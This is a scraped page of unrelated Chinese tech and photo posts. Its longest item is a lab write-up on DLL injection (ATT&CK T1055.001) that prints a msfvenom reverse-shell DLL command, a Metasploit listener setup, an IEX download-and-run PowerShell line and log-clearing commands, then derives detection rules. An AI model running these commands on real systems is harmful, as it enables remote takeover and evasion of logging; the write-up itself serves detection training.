赛博二乃带你突出重围  5p ...

文章目录 第1步：下载镜像 第2步：创建容器并运行 第3步：浏览器访问 总结 本文主要讲解docker如何部署xxl-job调度中心，我们来一起学习下吧！ 如果你还没有安装docker可以参考文章《Docker安装、运行、卸载—Docker学习教程》。 第1步：下载镜像 我们先通过以下指令来下载xxl-job的docker镜像， Docker地址：https://hub.docker.com/r/xuxueli/xxl-job-admin/ (建议指定版本号) docker pull xuxueli/xxl-job-admin 第2步：创建容器并运行 接下来，我们可以通过如下指令创建xxl-job-admin容器并运行： docker run -p 8080:8080 -v /tmp:/data/applogs --name xxl-job-admin -d xuxueli/xxl-job-admin:{指定版本} 需要说明的是： 如需自定义 mysql 等配置，可通过 “-e PARAMS” 指定，参数格式 PARAMS=”–key=value –key2=value2″ ； 配置项参考文件：/xxl-job/xxl-job-admin/src/main/resources/application.properties 如需自定义 JVM内存参数 等配置，可通过 “-e JAVA_OPTS” 指定，参数格式 JAVA_OPTS=”-Xmx512m” ； 类似如下指令： docker run -e PARAMS="--spring.datasource.url=jdbc:mysql://127.0.0.1:3306/xxl_job?useUnicode=true&characterEncoding=UTF-8&autoReconnect=true&serverTimezone=Asia/Shanghai" -p 8080:8080 -v /tmp:/data/applogs --name xxl-job-admin -d xuxueli/xxl-job-admin:{指定版本} 第3步：浏览器访问 最后我们通过浏览器访问地址：http://localhost:8080/xxl-job-admin就可以看到如下界面： 总结 以上就是docker如何部署xxl-job调度中心的全部步骤，希望对你有帮助。...

文章目录 第1步：下载xxl-job源码 第2步：初始化数据库SQL 第3步：配置部署“调度中心” 3.1：修改调度中心配置文件： 3.2：部署调度中心项目 3.3 调度中心集群（可选）： 3.4 其他：Docker 镜像方式搭建调度中心： 第4步： 配置部署“执行器项目” 4.1：部署执行器项目 4.2：测试执行定时任务 总结 本文重点讲解如何快速搭建xxl-job分布式任务调度框架项目，不对xxl-job做深入介绍，如果还不了解该框架的可以移步《xxl-job分布式任务调度框架详解》这篇文章，本文只讲解如何快速搭建xxl-job项目相关的实操步骤，我们一起来看以下。 搭建xxl-job项目xxl-job主要分为4个步骤： 第1步：下载xxl-job源码 首先我们去github或者gitee去下载xxl-job的项目源码，这里我下载2.4.0的版本。以下是下载地址： github:https://github.com/xuxueli/xxl-job gitee:https://gitee.com/xuxueli0323/xxl-job xxl-job官方教程文档：https://www.xuxueli.com/xxl-job/ 下载时选择自己想要的版本，建议是稳定版。 第2步：初始化数据库SQL 接下来，我们需要初始化“调度数据库”，请将下载好的项目源码解压，获取 “调度数据库初始化SQL脚本” 并执行即可，SQL脚本位置在如下： /xxl-job/doc/db/tables_xxl_job.sql 注意： 1）该SQL脚本是mysql数据库脚本，会自动创建名为xxl_job的数据库，表名也都是xxl_job开头的，如果你要修改数据库名称，记得提前改下脚本，初始化后一共8张表如下： 2）另外，调度中心支持集群部署，集群情况下各节点务必连接同一个mysql实例，如果mysql做主从,调度中心集群节点务必强制走主库。 第3步：配置部署“调度中心” 接下来我们需要配置部署“调度中心”，调度中心的作用是统一管理任务调度平台上调度任务，负责触发调度执行，并且提供任务管理平台。其实就是我们可视化的后台管理项目，即调度中心项目：xxl-job-admin。 因此，我们需要将源码中xxl-job-admin项目导入IDEA，由于是maven开发的，因此你本地需要配置好maven环境，没配置过的请参考《IntelliJ IDEA如何整合Maven图文教程详解》。 3.1：修改调度中心配置文件： 调度中心配置文件地址： /xxl-job-admin/src/main/resources/application.properties 调度中心配置内容说明： ### 调度中心JDBC链接：链接地址请保持和 2.1章节 所创建的调度数据库的地址一致 spring.datasource.url=jdbc:mysql://127.0.0.1:3306/xxl_job?useUnicode=true&characterEncoding=UTF-8&autoReconnect=true&serverTimezone=Asia/Shanghai spring.datasource.username=root spring.datasource.password=root_pwd spring.datasource.driver-class-name=com.mysql.cj.jdbc.Driver ### 报警邮箱 spring.mail.host=smtp.qq.com spring.mail.port=25 spring.mail.username=xxx@qq.com spring.mail.password=xxx spring.mail.properties.mail.smtp.auth=true spring.mail.properties.mail.smtp.starttls.enable=true spring.mail.properties.mail.smtp.starttls.required=true spring.mail.properties.mail.smtp.socketFactory.class=javax.net.ssl.SSLSocketFactory ### 调度中心通讯TOKEN [选填]：非空时启用； xxl.job.accessToken= ### 调度中心国际化配置 [必填]： 默认为 "zh_CN"/中文简体, 可选范围为 "zh_CN"/中文简体, "zh_TC"/中文繁体 and "en"/英文； xxl.job.i18n=zh_CN ## 调度线程池最大线程配置【必填】 xxl.job.triggerpool.fast.max=200 xxl.job.triggerpool.slow.max=100 ### 调度中心日志表数据保存天数 [必填]：过期日志自动清理；限制大于等于7时生效，否则, 如-1，关闭自动清理功能； xxl.job.logretentiondays=30 以上配置重点关注jdbc数据库连接相关的内容，比如修改数据库用户名密码，以及报警邮箱相关配置，这里就不再详细展开，大家根据自己的需求配置修改即可。 3.2：部署调度中心项目 在idea中可以直接启动运行该项目，如果已经正确进行上述配置，运行成功会打印如下日志： 10:13:54.594 logback [main] INFO o.s.b.w.e.tomcat.TomcatWebServer - Tomcat started on port(s): 8080 (http) with context path '/xxl-job-admin' 10:13:54.606 logback [main] INFO c.x.job.admin.XxlJobAdminApplication - Started XxlJobAdminApplication in 2.167 seconds (JVM running for 3.881) 10:13:59.003 logback [xxl-job, admin JobScheduleHelper#scheduleThread] INFO c.x.j.a.c.thread.JobScheduleHelper - >>>>>>>>> init xxl-job admin scheduler success. 然后浏览器访问调度中心访问地址：http://localhost:8080/xxl-job-admin(该地址执行器将会使用到，作为回调地址) 默认登录账号 “admin/123456”, 登录后运行界面如下图所示。 如果要上线部署，可将项目编译打包部署即可。以上，我们就将任务调度中心集成好了。 另外补充说明以下两点： 3.3 调度中心集群（可选）： 调度中心支持集群部署，提升调度系统容灾和可用性。 调度中心集群部署时，几点要求和建议： DB配置保持一致； 集群机器时钟保持一致（单机集群忽视）； 建议：推荐通过nginx为调度中心集群做负载均衡，分配域名。调度中心访问、执行器回调配置、调用API服务等操作均通过该域名进行。 3.4 其他：Docker 镜像方式搭建调度中心： 参考文章《docker如何部署xxl-job调度中心》 第4步： 配置部署“执行器项目” “执行器”项目其实就是我们下载源码中的：xxl-job-executor-samples项目，这里面有两个“执行器”项目，分别为xxl-job-executor-sample-frameless和xxl-job-executor-sample-springboot。 xxl-job提供2种版本执行器供选择，现以 springboot 版本为例，可直接使用，也可以参考其并将现有项目改造成执行器。 顺便说下执行器项目作用：负责接收“调度中心”的调度并执行；可直接部署执行器，也可以将执行器集成到现有业务项目中。 4.1：部署执行器项目 我们使用idea打开xxl-job-executor-samples项目，注意application.properties中xxl.job.admin.addresses配置，调度中心部署根地址 [选填]：如调度中心集群部署存在多个地址则用逗号分隔。执行器将会使用该地址进行”执行器心跳注册”和”任务结果回调”；为空则关闭自动注册；我们这里默认和之前调度中心地址一致即可。 xxl.job.admin.addresses=http://127.0.0.1:8080/xxl-job-admin 然后直接运行xxl-job-executor-springboot项目，发现启动成功。 4.2：测试执行定时任务 接下来，我们测试执行系统默认定时任务，打开调度中心页面，在任务管理中，执行一次，如下图： 我们发现在xxl-job-executor-springboot项目中，打印了如下信息： 10:43:54.772 logback [Thread-8] INFO com.xxl.job.core.server.EmbedServer - >>>>>>>>>>> xxl-job remoting server start success, nettype = class com.xxl.job.core.server.EmbedServer, port = 9999 10:47:23.505 logback [xxl-job, EmbedServer bizThreadPool-303137862] INFO c.x.job.core.executor.XxlJobExecutor - >>>>>>>>>>> xxl-job regist JobThread success, jobId:1, handler:com.xxl.job.core.handler.impl.MethodJobHandler@344426bf[class com.xxl.job.executor.service.jobhandler.SampleXxlJob#demoJobHandler] 10:49:06.782 logback [xxl-job, JobThread-1-1700189243505] INFO com.xxl.job.core.thread.JobThread - >>>>>>>>>>> xxl-job JobThread stoped, hashCode:Thread[xxl-job, JobThread-1-1700189243505,10,main] 查看调度日志查看发现调度成功： 总结 当然你也可以将下载的整个项目源码导入idea，分别修改配置，然后运行以上的两个子项目，就可以进行搭建测试了。 如果你想将调度执行项目集成到自己的springboot项目中该如何去实现呢？具体的请参考文章《SpringBoot如何集成整合xxl-job任务调度框架》。 以上就是快速搭建搭建xxl-job项目详解的全部内容，希望对你有帮助。 ...

本文主要讲解关于如何优化mysql like %xxx%模糊查询相关内容，让我们来一起学习下吧！ 今天给大家分享一个小知识，实际项目中，like %xxx%的情况其实挺多的，比如某个表单如果支持根据公司名进行搜索，用户一般都是输入湖南xxx有限公司中的xxx进行搜索，所以对于接口而言，就必须使用like %xxx%来支持，从而不符合最左前缀原则导致索引失效，那么该如何优化这种情况呢？ 第一种可以尝试的方案就是利用索引条件下推，我先演示再讲原理，比如我有下面一张订单表： 就算给company_name创建一个索引，执行where company_name like '%腾讯%'也不会走索引。 但是如果给created_at, company_name创建一个联合索引，那么执行where created_at=CURDATE() and company_name like '%腾讯%'就会走联合索引，并且company_name like '%腾讯%'就会利用到索引条件下推机制，比如下图中Extra里的Using index condition就表示利用了索引条件下推。 所以，并不是like %xxx%就一定会导致索引失效，原理也可以配合其他字段一起来建联合索引，从而使用到索引条件下推机制。 再来简单分析一下索引条件下推的原理，在执行查询时先利用SQL中所提供的created_at条件在联合索引B+树中进行快速查找，匹配到所有符合created_at条件的B+树叶子节点后，再根据company_name条件进行过滤，然后再根据过滤之后的结果中的主键ID进行回表找到其他字段（回表），最终才返回结果，这样处理的好处是能够减少回表的次数，从而提高查询效率。 当然，如果实在不能建立或不方便建立联合索引，导致不能利用索引条件下推机制，那么其实可以先试试Mysql中的全文索引，最后才考虑引入ES等中间件，当然Mysql其他一些常规优化机制也是可以先考虑的，比如分页、索引覆盖（不select *）等。 以上就是关于如何优化mysql like %xxx%模糊查询相关的全部内容，希望对你有帮助。欢迎持续关注潘子夜个人博客，学习愉快哦！ ...

筒酱呐～,该打针了哟万圣节cos  9p ...

点击围观  ...

点击围观  ...

【前言】 在攻防对抗日渐常态化的今天，攻击者的攻击已变得越来越复杂和难以防御，而作为企业的防守人员，也需要不断努力改进技术来保护系统和数据免受威胁。本文将站在攻击者角度探讨DLL注入技术的原理以及是如何实现的，同时还会站在防守者的角度分析DLL注入的特征以及检测规则。因此，无论你是一名甲方安全人员、红队大佬，还是对网络安全感兴趣的个人，这篇文章都将会帮助你更好地理解DLL注入的工作原理，特征以及应对方式等。让我们一起开启本篇内容的学习吧！PS：因篇幅有点长，先把本篇目录列出，以帮助读者们更好地理解本篇要领！ 【正文】 1、攻击假设 1.1、什么是DLL？ DLL 本质上是可供其他程序使用的函数和数据的集合，可将其视为虚拟公共资源，Windows运行的任何程序都会不断地调用动态链接库，以访问各种常见函数和数据。 1.2、DLL注入 (T1055.001) 参考ATT&CK攻击矩阵，进程注入的方法比较丰富，涉及到的ATTCK相关子项与API调用如下图所示。本次使用经典的远程线程注入：首先使用Windows API 调用将恶意文件路径写入目标进程的虚拟地址空间，然后创建远程线程并执行，对应ATT&CK的T1055.001，该方法需要事先将DLL存于磁盘上。 2、环境构建 使用Vmware安装系统镜像：Windows10（victim），kali（攻击）、Ubuntu22.04.2（日志分析）。 在Ubuntu20.04.2安装Wireshark与Volatility；方法参考其代码仓库。Kali已内置安全框架，直接安装即可。 Windows 10 Enterprise至Microsoft Tech Community下载。 2.1 Sysmon 该工具安装时务必指定配置文件，如使用默认的参数可能导致日志记录不全面。直接参考配置文件Neo23x0-sysmon-config（Florian Roth）。安装完成后运行Powershell命令行：Get-Service sysmon验证是否安装成功。 2.2 配置PowerShell ScriptBlock日志 PowerShell 日志类型：Module、ScriptBlock logging、Script Execution、Transcription。为了收集脚本执行日志，将配置并激活 ScriptBlock。以管理员运行Powershell，执行如下命令：1）更改powershell执行策略，以允许后续配置更改； Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope LocalMachine 2）新建ScriptBlockLogging注册表路径； New-Item-Path HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging -Force 3）新增EnableScriptBlockLogging 属性为DWORD并设置为1； New-ItemProperty-Path HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging -Name EnableScriptBlockLogging -Value 1 -PropertyType DWord -Force 4）开启日志记录 wevtutil sl "Microsoft-Windows-PowerShell/Operational" /e:true 2.3 其他软件 Process Hacker：实时分析；Wireshark：流量分析。 3、攻击模拟 3.1 生成dll文件 （1）在Kali VM使用msfvenom生成payload，msfvenom是Metasploit框架中的组件。命令如下： sudo msfvenom -p windows/meterpreter/reverse_tcp Lhost=192.168.26.130 Lport=88 -f dll > /home/hacker/Desktop/evil.dll Lhost 表示监听的主机，此处代表Kali主机， Lport 表示监听的端口. -f 生成的文件类型，此处是dll。 成功执行后如下图所示： （2）使用python命令(python3 -m http.server 8008)构建简单的服务，在目标机器上使用浏览器下载至桌面。在目标机器上注入此dll后，将与恶意主机建立连接。效果如下： （3）接下来将在Kali启动脚本开启监听，为后续操作建立通道。执行如下命令： msfconsole:开启msf框架；use exploit/multi/handler：生成处理器；set payload windows/meterpreter/reverse_tcp：指定监听的地址与端口 当payload在目标系统上执行时，它将启动一个 TCP 回连攻击者的机器。查看参数要求并运行命令： set LHOST 192.168.230.155set LPORT 88run 3.2 执行注入 （1）开启WireShark捕获数据包。选择正确的网卡设备进行监听 （2）清除系统当前Sysmon和PowerShell ScriptBlock日志   以管理员身份打开 PowerShell 终端，运行以下两个命令： wevtutil cl “Microsoft-Windows-Sysmon/Operational”wevtutil cl “Microsoft-Windows-PowerShell/Operational” （3）准备Powershell脚本该脚本具备实现DLL注入的功能，目的是将evil.dll注入至目标进程。项目参考PowerSpolit或者Faanross。以管理员打开powershell下载脚本并注入内存，操作如下： IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/faanross/threat.hunting.course.01.resources/main/Invoke-DllInjection-V2.ps1') 若无任何输出，则表示执行成功。 3.3 注入恶意dll 此时进程注入脚本运行在powershell进程中，在注入evil.dll之前需要选择某个合法的进程。下面以创建可启动的 USB 驱动器程序rufus.exe为例进行注入。运行 rufus.exe并找到该进程 ID，将其作为参数传递给注入脚本。运行以下命令： Invoke-DllInjection -ProcessID 1480 -Dll C:\Users\admin\Desktop\evil.dll 回到Kali系统，查看msf控制面板的输出，可观察到成功回连。如下图所示： 3.4 执行命令 连接成功后，可以进一步操作受控机器，比如下载文件或执行命令查看详细信息。执行过程如下所示： 3.5日志导出 以管理员打开powershell，输出sysmon与powershell script命令行日志，运行如下命令：Sysmon日志： wevtutil epl "Microsoft-Windows-Sysmon/Operational" "C:\Users\User\Desktop\SysmonLog.evtx” Powershell日志： wevtutil epl "Microsoft-Windows-PowerShell/Operational" "C:\Users\User\Desktop\PowerShellScriptBlockLog.evtx" "/q:*[System[(EventID=4104)]]" 4. 攻击分析 4.1 Powershell脚本分析 （1）首先，恶意软件需要搜索进程以进行注入。通常使用三个应用程序接口来搜索目标进程，分别是：CreateToolhelp32Snapshot用于枚举指定进程或所有进程的堆或模块状态，并返回快照。Process32First检索关于快照中第一个进程的信息，然后在循环中使用Process32Next对其进行迭代，但本次实验中未涉及上述步骤，而是指定目标进程ID，并将其作为参数传入。 （2）选取目标进程后，恶意软件调用OpenProcess获得目标进程的句柄。进程ProcessAccessFlags.All =0x001F0FFF，表示打开进程时获取了所有可能的权限，允许进行广泛的进程操作。这些权限包括读取、写入、执行、分配内存等。 （3）调用VirtualAllocEx在目标进程中分配内存空间。参数类型为目标进程的句柄、分配内存的大小、分配内存的地址、分配类型和访问权限。（4）使用WriteProcessMemory在分配的内存中写入DLL路径名称。包括目标进程的句柄、目标进程的内存地址、要写入的数据和数据的大小。 （5）调用RtlCreateUserThread远程进程中创建一个新线程 (也可使NtCreateThreadEx或CreateRemoteThread)，将LoadLibrary的地址传递给此API(它需要磁盘上有一个可以检测到的恶意DLL)，将该线程的执行地址设置为 $LoadLibraryAddr（kernel32.dll 中的 LoadLibraryA 函数），以便加载远程进程中的 DLL。 4.2 Dll分析 使用IDA Pro打开evil.dll文件，可以看到此模块包含三个函数：sub_10001000，sub_10001050，sub_100011A0，DllEntryPoint(导出函数)，其中sub_10001050完成核心功能：实现进程创建与网络连接。该代码段先初始化进程启动所需的变量值（StartupInfo、IpProcessInformation 结构体）、当前工作目录、环境变量、创建标志、句柄，随后创建rundll32.exe进程，再根据条件语句判断返回值(注意cmp,jnz指令)执行loc100010cc处的代码段。 继续使用IDA将sub_10001050转换为伪代码，如下图所示, 调用 WriteProcessMemory 函数，将地址为 unk_10003000 的数据块推送到堆栈中，写入目标进程的内存执行。 提取该处的shellcode保存为二进制文件，使用工具scdbg分析此部分shellcode功能，可以看到实际上是调用WSASocket实现的联网行为。该处的地址与端口即为handler设置的值。 查看MS源码，如下图所示。除了完成以上功能外，该stager继续处理接收到的内容，首先开辟4字节的buffer用于接收第二阶段的stage，使用virtualAlloc开辟对应长度的空间，循环读取接收内容并记录当前地址ebx，最后运行ebp用于第二阶段的持续控制。 4.3过程分析 过程回顾： （1）首先生成了一个恶意 DLL。（2）将此 DLL 传输到受害者的系统。（3）开启了meterpreter监听处理。（4）下载并执行powershell 脚本，将其注入到内存中。（5）运行合法进程（rufus.exe），将恶意 dll 注入到内存空间中。（6）注入的 DLL回连步骤3中的地址，从而建立连接。 （7）与控制端进行通信处理接第二阶段的payload。 实际的攻击场景可能是这样：攻击者向目标主体发送鱼叉式网络钓鱼电子邮件。该员工打开了电子邮件的附件，它可能会运行嵌入的 VBA 宏，其中包含恶意代码。它负责下载攻击脚本并将其注入内存；比如利用合法进程下载并执行包含免杀功能逃避终端安全的检测。攻击者会选择某进程进行注入，通常比文件落地更难以检测。 首先使用Windows原生工具回顾攻击过程，包括：网络连接、进程、注册表项等。 4.3.1网络连接 打开 PowerShell 管理终端并运行以下命令： netstat -naob 命令行参数包含 o 和 b，显示每个连接中涉及的 PID 以及可执行文件的名称。查看ESTABLISHED 连接能够观察到 rundll32.exe 发起了一个网络连接，如下图所示： 它用于加载 DLL。那么问题来了：为什么它会参与出站网络连接？在日常情况下，应该立即查看有关该 IP 的更多信息。例如是内部地址，是否有与之相关的业务系统，是否网络上的其他系统也连接到它，通过关联威胁情报或IOC库查看详细信息。 4.3.2进程信息 接下来需要了解上述进程的详细信息，例如运行的命令行参数、父进程、以及该进程正在使用哪些 DLL。运行命令如下： tasklist /m /fi "pid eq 6256" 此输出似乎没有任何异常，查看PID=6256的父进程： wmic process where processid=6256 get parentprocessid 其父进程 PPID 为 1480, 查看该进程名称，如下图所示： wmic process where processid=1480 get Name 我们可以看到rundll32.exe没有提供任何参数。由于 rundll32.exe通常用于执行特定DLL文件中的函数，因此会看到它附带指定 DLL 文件和它应该执行的函数的参数。 思考：目前发现2处异常点：（1）创建网络连接的进程及父子进程关系异常。 （2）该进程在没有命令行参数的情况下运行异常。 4.3.3 Process Hacker 使用 Process Hacker 等工具查看进程的关键属性： 进程树关系 程序签名是否合法 当前启动目录 命令行参数 线程起始地址 执行权限 内存。 以管理员身份运行Process Hacker，筛选rufus.exe进程信息rufus.exe 详细观察以上7 个指标。 （1）Parent-Child relationships观察到进程 rufus.exe生成了子进程 rundll32.exe，随之rundll32.exe 又生成了 cmd.exe。rundll32.exe通常用于执行DLL，此进程关系是比较可疑的。（2）Signature 双击进程rundll32.exe。我们可以在这里看到它有一个由微软签署的有效签名，此处暂无可疑信息。 （3）Current directory 在同一张图中，我们可以看到当前进程的工作目录是桌面，因为它是从桌面启动的。rundll32.exe 调用 DLL 函数的合法脚本或应用程序一般为磁盘某绝对路径下的应用程序。从用户桌面等异常位置调用 rundll32.exe的情况比较可疑。 （4）Command-line arguments 看到命令行是 rundll32.exe，之前讨论在合理场景下需要路径与命令行参数。 （5）Thread Start Address在“属性”窗口顶部，选择“线程”选项卡。可以在“开始地址”下看到它已被映射，表明文件它确实存在于磁盘上，表明这不是一个反射加载的 DLL。（6）Memory Permissions在“属性”窗口选择“内存”。向下查询观察到RWX 权限。 从结果中看到存在两个具有读-写-执行权限的内存空间，在正常程序执行的过程中，很少有合法程序会写入内存然后立即执行它。 （7）Memory Content双击size为172 kB的memory，可查看加载的内容，从图中可看出： 两个明显标识表明该进程正在处理 Windows PE 文件。我们可以看到魔术字节 (MZ) 与 PE Dos关联的字符串。 总结：使用 Process Hacker发现异常点如下： rundll32.exe 生成了cmd.exe和conhost.exe命令行执行环境； rundll32.exe 从桌面运行； 该进程还具有 RWX 内存空间权限并包含 PE 文件。 4.3.4 Sysmon 安全社区的大神推荐过较多利用sysmon进行威胁检测的演讲，如果了解更多有关 Sysmon 的详细信息，推荐连接： （1）Sysmon详情：https://www.某tube.com/watch?v=6W6pXp6EojY（2）Trustedsec：https://www.某tube.com/playlist?list=PLk-dPXV5k8SG26OTeiiF3EIEoK4ignai7 （3）Sysmon for threathunting：https://www.某tube.com/watch?v=7dEfKn70HCI 打开内置的EventViewer，包含不同类型事件 ID。详细介绍参考官网或者博客Black Hills Infosec https://www.blackhillsinfosec.com/a-sysmon-event-id-breakdown/ 首先查看第一个事件ID=22，此时PowerShell 正在对raw.githubusercontent.com执行 DNS 请求。对应于IEX命令下载Web 服务器脚本。日志详情如下图所示： 命令行地址参数为raw.githubusercontent.com，因此发生了DNS 解析和Sysmon 事件ID 22。当攻击者通过初始化访问建立据点后，会访问 Web 服务器下载另一个脚本（即Payload），此行为可能会产生 DNS请求记录，该记录是检测命令与控制行为重要指标。与IP地址类似，当我们发现有外联请求时，需要确定地址是否为业务正常请求，是否为服务合法地址，是否为威胁情报黑名单，是否为已知恶意 IOC库地址。 随之我们看到event=3的网络连接，此时evil.dll被注入rufus内存，rundll32创建网络连接，回连至攻击机器的88端口。 然后，发生三个注册表操作，事件ID分别为13、12、13。第一个 (ID 13) 如下所示。可以看到 rufus.exe修改了注册表项。路径以 DisableAntiSpyware 结尾。如下图所示： 实际上不是rufus.exe而是注入的恶意代码操作关闭MS Defender 反间谍软件功能。（备注：考虑恶意软件的行为，认为该值应该被设置为1 (DWORD (0x00000001))，表示禁用反恶意软件功能。但是测试若干次发现该值被设置为0，待进一步解决。）下一个日志条目 (ID 12) 指示注册表项上发生了删除事件。 该注册表项与上面的名称相同（DisableAntiSpyware），但是注意 TargetObject 的完整路径。第一个位于HKU\...下，而这里的位于HKLM\...下。HKU代表HKEY_USERS，HKLM代表HKEY_LOCAL_MACHINE。HKU 配置单元包含计算机上Windows 用户配置文件的配置信息，而 HKLM 配置单元包含计算机上所有用户使用的配置数据。第一个涉及特定用户，第二个涉及整个系统。svchost.exe 进程以系统权限（最高级别的权限）运行，这使其能够修改系统范围的密钥。 在这里，我们可以看到与第一个条目中执行的操作相同，即先删除后设置为 1 来禁用反间谍软件功能。通过将注册表项返回到默认状态（这就是删除它的实际效果），确保系统不会出现可能干扰恶意软件操作的配置。最后，观察到ID 为 1 的事件，该事件是恶意软件活动重要特征。   在这里我们可以看到Windows远程协助COM服务器可执行文件（raserver.exe）已经启动。该工具用于远程协助，允许远程用户无需邀请即可连接。此远程协助工具可以为攻击者提供远程交互式命令行或 GUI 访问，类似于远程桌面，可用于与系统交互并可能窃取数据。 4.3.5 PowerShell 脚本块 开启特定模块的日志，Powershell日志量相对较少，如下图所示。首先，PowerShell ScriptBlock 日志记录都是与事件 ID 4104 相关联。几乎所有条目都是成对出现。在第三个条目中，我们可以看到与 PowerShell 命令相关的日志，该命令从 Web 服务器下载注入脚本并将其加载到内存中。在现实的攻击场景中，从类似stager的进程下载具体执行内容。下一个条目展示了下载并注入内存的脚本的实际内容。因此，当我们运行前面的 IEX 命令时，它会从提供的 FQDN 下载脚本并将其直接注入到内存中。每个 PowerShell ScriptBlock 日志条目后面都会跟着另一个prompt提示，以便可以输入后续命令。再往下看到将恶意 DLL 注入 rufus.exe 的命令日志条目，这是在实际攻击中看到的内容。接下来是具有完全相同时间戳的另外两个条目，其中包含我们未显式运行的命令。由于时间戳完全相同，可以假设它们是由我们运行的命令（Invoke-DllInjection -ProcessID 3468 -Dll C:\Users\User\Desktop\evil.dll）产生的。这些条目可能与程序集交互或分析程序集的过程有关，是 DLL 注入过程的一部分。 总结： 到目前为止我们没有深入分析攻击的过程与原理，但是通过日志我们能发掘较多异常点。在本节中，使用 Sysmon可疑收集到：（1）下载注入脚本而访问的 Web 服务器的 URL、IP 和主机名;（2）该恶意软件操纵了DisableAntiSpyware 注册表项;（3）该恶意软件启动了带有 /offerraupdate 标志的 raserver.exe，从而创建了另一个潜在的后门;使用 PowerShell ScriptBlock 收集到：（1）powershell从 Web 服务器下载脚本并将其注入内存; （2）使用特定命令行将脚本注入到rufus.exe中，同时可疑查看 dll 注入脚本的实际内容。 4.3.6流量分析 首先可以看到针对raw.githubusercontent.com 的 DNS 请求与响应数据包。这是初始 IEX 命令访问特定 Web 服务器以下载注入脚本的地方。双击第二个数据包（响应），查看数据包详细信息可查看返回值不同的地址，可能对应不同的CDN地址。我们可以在SIEM中立即查询该IOC，例如查看是否有于其他系统的通信、是否存在于任何威胁情报黑名单中等。在 DNS 之后，我们可以立即看到系统和 Web 服务器之间的会话。首先对证书进行身份验证，然后进行加密 (TLS) 交换。可以看到目标系统和攻击者之间建立reverse_tcp连接。接着右键数据包，然后选择“跟随”-“TCP 流”。可查看交换的整个数据流，虽然大部分内容被加密/混淆，但是在顶部我们看到魔术字节和 dos本文，显示有Windows可执行文件头的签名标识。 5.检测规则 rundll32.exe的使用语法如下： rundll32.exe <dllname>,<entrypoint> <optional arguments> 结合上述例子我们从rundll32.exe路径开始建立几条基本的规则。 父子进程关系 在某些场景下存在不规范的命令行参数，日志详情如下所示：从日志内容看为进程启动日志，但其命令行没有详细参数而且currentDirectory路径为用户桌面。该场景下规则设置条件为未包含关键字dll，再从搜索结果中观察父子进程的关系。如下图所示： 实际上该日志对应于evil.dll在后渗透阶段调用 rundll32.exe 进行回连并处理下一步的payload所产生，实际上这一场景可以通过此技巧进行检测。 (1)命令行参数继续关注DLL文件调用位置以及命令行参数。使用正则表达式提取DLL路径与参数，以event_id、image、commandLine为字段建立检测规则如下所示：以dllname、fuction聚合统计后建立阈值，关注特定阈值下的值。例如从桌面加载evil.dll或者%temp%调用kernel32.dll，这属于可疑程度很高的行为需要进一步结合其他数据进行判断，如下图所示：（2）进程路径Rundll32合法路径为两类： C:\Windows\System32\rundll32.exeC:\Windows\SysWOW64\rundll32.exe 利用sysmon日志中的Image字段建立一条检测规则：接下来统计出现过的路径值，尽一切可能建立正常的行为基线，排除正常路径值，关注异常值。例如以下场景就可能涉及恶意行为。（3）网络连接本次模拟中，rundll32 在网络通信行为只有一处，即回连攻击机的88端口。根据研究人员观察，rundll32的网络通信行为并不活跃，对于规则运营是比较有好的。利用sysmon日志网络连接日志建立一条检测规则并对image、SourceIP、DestinationIp进行分桶聚合：如果能结合进程启动日志，建立进程关系图就能更直观的展示行为序列，从而进行研判。 【总结】 本文采用较为经典的创建线程实现注入，实际上至少有10种进程注入的实现方式，不同攻击方式可能对应不同的检测规则，后续会覆盖不同的场景。如果在生产环境中有更好的规则调优方法，欢迎评论区分享你的经验。 [1]https://attack.mitre.org/techniques/T1055/ [2]http://struppigel.blogspot.com/2017/07/process-injection-info-graphic.html [3]https://mp.weixin.qq.com/s/9v6qGqHlzD6Ee3ICOeuVvQ [4] https://www.elastic.co/cn/blog [5] https://muchangfeng.gitbook.io/ ...

问题描述： Windows电脑的网卡明明已经配置了静态的IP地址，但是还会出现自动配置IPv4地址的情况。 解决方法： 这个问题大部分是地址冲突导致的，还有一种可能就是网卡默认配置。 地址冲突解决办法：修改本机电脑的IP地址，或者找到冲突的设备修改它的IP。 网卡默认配置解决方法：管理员运行CMD，输入netsh winsock reset catalog按回车、输入netsh int ip reset reset.log按回车，然后就能配置地址、掩码、网关了。 小知识： 【169.254.×.×】这个是广播地址不是正常获取到的IP地址。 ...

点击围观  ...

点击围观  ...

点击围观  ...

点击围观 ...

Linux系统安装软件四种方式： 绿色安装 yum安装 rpm安装 源码安装 1. 绿色安装 这种方式最简便，一般提供Compressed Archive压缩文档包，如Java软件的压缩文档包，只需要解压、设置环境变量即可直接使用。 # 下载软件 https://www.oracle.com/java/technologies/downloads/ # 新建java软件存放路径 mkdir /opt/java # 解压 tar -xvf jdk-21_linux-x64_bin.tar.gz -C /opt/java # 设置环境变量 vim /etc/profile.d/java.sh JAVA_HOME=/opt/java/jdk-21.0.1/ CLASSPATH=.:$JAVA_HOME/lib PATH=JAVA_HOME/bin:$PATH export JAVA_HOME CLASSPATH PATH # 加载环境变量 source /etc/profile.d/java.sh # 检验java环境是否配置好 java 2. yum安装 前提条件是有网络 需要安装的软件及版本，yum源里刚好有。 # 搜索redis源 yum search redis # 查看redis详细信息 yum info redis # 安装redis软件 yum -y install redis # 查看redis状态 systemctl status redis # 设置开机自启 systemctl enable redis # 启动redis服务 systemctl start redis 3. rpm安装 需要的软件及版本，只提供了rpm包 3.1 rpm常用命令 # 安装一个包 rpm -ivh 包名 # 升级一个包 rpm -Uvh 包名 # 查询包是否安装 rpm -q 包名 # 查询安装包详情信息 rpm -qi 包名 # 列出服务器上的一个文件属于哪个rpm包 rpm -qf 文件名 # 列出所有安装的rpm包 rpm -qa # 卸载包 rpm -e 包名 [root@centos ~]# rpm --help Usage: rpm [OPTION...] Query/Verify package selection options: -a, --all query/verify all packages -f, --file query/verify package(s) owning file -g, --group query/verify package(s) in group -p, --package query/verify a package file --pkgid query/verify package(s) with package identifier --hdrid query/verify package(s) with header identifier --triggeredby query the package(s) triggered by the package --whatrequires query/verify the package(s) which require a dependency --whatprovides query/verify the package(s) which provide a dependency --nomanifest do not process non-package files as manifests Query options (with -q or --query): -c, --configfiles list all configuration files -d, --docfiles list all documentation files -L, --licensefiles list all license files --dump dump basic file information -l, --list list files in package --queryformat=QUERYFORMAT use the following query format -s, --state display the states of the listed files Verify options (with -V or --verify): 